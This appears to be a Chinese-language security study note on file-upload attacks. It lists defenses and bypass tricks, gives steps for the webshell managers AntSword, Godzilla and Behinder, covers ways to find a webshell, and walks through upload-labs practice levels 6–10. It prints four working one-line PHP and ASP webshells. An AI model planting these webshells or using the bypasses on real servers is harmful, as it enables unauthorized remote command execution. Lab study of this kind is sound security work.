文件上传防御手段及绕过手段
1.防御手段
文件扩展名白名单校验:在服务器端对上传文件的扩展名进行严格校验,只允许安全的文件类型列表中的文件上传。
文件内容校验:校验文件内容,确保文件类型与扩展名一致,防止通过修改文件扩展名绕过检测。
文件大小限制:设置文件大小限制,防止上传过大文件耗尽服务器资源。
上传频率限制:限制在给定时间内用户可以上传的文件数量,防止恶意用户或自动化脚本滥用上传功能。
文件重命名:对上传的文件进行重命名,避免文件名冲突和恶意文件覆盖。
文件上传目录设置为不可执行:确保上传文件的目录没有执行权限,防止上传的恶意脚本被执行。
使用专用存储区域:将上传的文件存储在与应用服务器分离的专用存储区域,减少直接访问风险。
内容扫描:对上传的文件进行病毒扫描和内容检查,确保它们不包含恶意代码或敏感数据。
用户身份验证和授权:只允许经过身份验证和授权的用户上传文件,防止未授权访问。
2.绕过手段
修改文件扩展名:通过修改文件扩展名来绕过文件类型校验,例如恶意脚本文件的扩展名改为图片或文档扩展名。
利用黑名单漏洞:如果黑名单设置不严谨,攻击者可能利用黑名单中未包含的等价扩展名或特殊文件名绕过检测。
文件内容伪造:通过修改文件内容头或文件结构来伪造文件类型,使其看起来像是允许上传的文件类型。
前端验证绕过:通过禁用JavaScript或修改前端代码来绕过客户端的文件验证。
利用服务器解析漏洞:某些服务器在处理文件时可能存在解析漏洞,攻击者可能利用这些漏洞上传并执行恶意脚本。
利用特殊字符或编码:利用特殊字符(如空格、点、::$DATA等)或URL编码(如%00截断)来绕过文件名或文件内容的检测。
条件竞争:在文件上传过程中,如果服务器存在处理延迟或并发问题,攻击者可能利用这个时间差上传并执行恶意脚本。
文件上传常用一句话木马
<?php @eval($_POST['pass']);?>
<?php system($_GET['cmd']);?>
<%eval request ("pass")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
webshell管理工具的三种使用方法
1.蚁剑
创建一句话木马php文件
进行连接
成功设置代理
抓包
2.哥斯拉
利用哥斯拉,点击管理-生成,生成木马文件gsl.php
配置burp suite代理,并尝试连接木马文件获取webshell
通过burp suite可以抓取到通过哥斯拉连接到木马文件的流量数据包
3.冰蝎
用冰蝎连接
配置代理
打开url链接,并用BP进行拦截抓包,抓包结果如下:
文件上传无回显如何查找webshell地址
1.检查服务器日志:通过查看HTTP请求日志,特别是在上传文件失败或成功的记录中,可能会发现可疑的URL或文件路径。这些日志通常会记录客户端的请求信息,包括上传文件的路径和名称,从而帮助定位webshell的位置。
2.异常检测:有些webshell在运行时会抛出错误或异常,通过监控网站的服务器错误页面,可以寻找异常报告。这些异常信息可能会包含webshell的文件路径或相关信息。
3.使用网络数据分析工具:通过Wireshark等网络数据分析工具,可以捕获上传webshell的IP地址和相关请求信息。这些工具可以帮助你追踪到webshell的具体位置。
4.利用历史HTTP请求:如果上传的webshell文件名或路径在之前的HTTP请求中出现过,可以通过搜索历史请求来找到webshell的完整路径。
5.利用文件扫描工具:如findWebshell等基于python开发的webshell检测工具,可以扫描服务器上的文件,识别并定位webshell文件。
6.网站安全检测服务:利用百度安全指数、百度云观测等提供的网站安全检测服务,可以对网站进行全面的安全检测,包括webshell的检测和定位。
upload-labs靶场通关
第六关
查看源码,大小写被过滤,可以直接通过修改文件名为大写来绕过限制
把后缀改为大写
可以正常上传
第七关
查看源码,发现这题没有对文件后缀名进行首尾去空的操作
抓包,通过对文件后缀名末尾进行添加空格的方式来进行绕过
修改后图片上传成功
第八关
查看源码,发现少了删除文件名末尾的点
抓包,在php文件末尾加上点
上传成功
第九关
查看源代码,发现少了去除字符串::$DATA
抓包,在php文件末尾加上::$DATA
上传成功
第十关
查看源码发现有删除文件名末尾的点和首尾去空
抓包,在文件末尾加上“点 空格 点 ”
上传成功